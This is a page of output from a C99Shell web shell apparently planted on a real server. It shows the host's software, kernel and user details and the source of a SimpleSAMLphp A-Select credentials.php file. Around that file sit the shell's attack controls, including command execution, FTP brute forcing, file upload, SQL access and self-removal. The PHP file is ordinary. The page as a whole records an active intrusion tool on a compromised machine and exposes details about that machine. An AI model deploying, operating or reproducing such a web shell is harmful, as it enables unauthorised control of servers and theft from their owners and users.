!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/modules/aselect/www/   drwxr-xr-x
Free 14.23 GB of 61.93 GB (22.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     credentials.php (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Check the credentials that the user got from the A-Select server.
 * This function is called after the user returns from the A-Select server.
 *
 * @author Wessel Dankers, Tilburg University
 */
function check_credentials() {
    
$state SimpleSAML_Auth_State::loadState($_REQUEST['ssp_state'], 'aselect:login');

    if(!
array_key_exists('a-select-server'$_REQUEST))
        
SimpleSAML_Auth_State::throwException($state, new SimpleSAML_Error_Exception("Missing a-select-server parameter"));
    
$server_id $_REQUEST['a-select-server'];

    if(!
array_key_exists('aselect_credentials'$_REQUEST))
        
SimpleSAML_Auth_State::throwException($state, new SimpleSAML_Error_Exception("Missing aselect_credentials parameter"));
    
$credentials $_REQUEST['aselect_credentials'];

    if(!
array_key_exists('rid'$_REQUEST))
        
SimpleSAML_Auth_State::throwException($state, new SimpleSAML_Error_Exception("Missing rid parameter"));
    
$rid $_REQUEST['rid'];

    try {
        if(!
array_key_exists('aselect::authid'$state))
            throw new 
SimpleSAML_Error_Exception("ASelect authentication source missing in state");
        
$authid $state['aselect::authid'];
        
$aselect SimpleSAML_Auth_Source::getById($authid);
        if(
is_null($aselect))
            throw new 
SimpleSAML_Error_Exception("Could not find authentication source with id $authid");
        
$creds $aselect->verify_credentials($server_id$credentials$rid);

        if(
array_key_exists('attributes'$creds)) {
            
$state['Attributes'] = $creds['attributes'];
        } else {
            
$res $creds['res'];
            
$state['Attributes'] = array('uid' => array($res['uid']), 'organization' => array($res['organization']));
        }
    } catch(
Exception $e) {
        
SimpleSAML_Auth_State::throwException($state$e);
    }

    
SimpleSAML_Auth_Source::completeAuth($state);
    
SimpleSAML_Auth_State::throwException($state, new SimpleSAML_Error_Exception("Internal error in A-Select component"));
}

check_credentials();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.59 ]--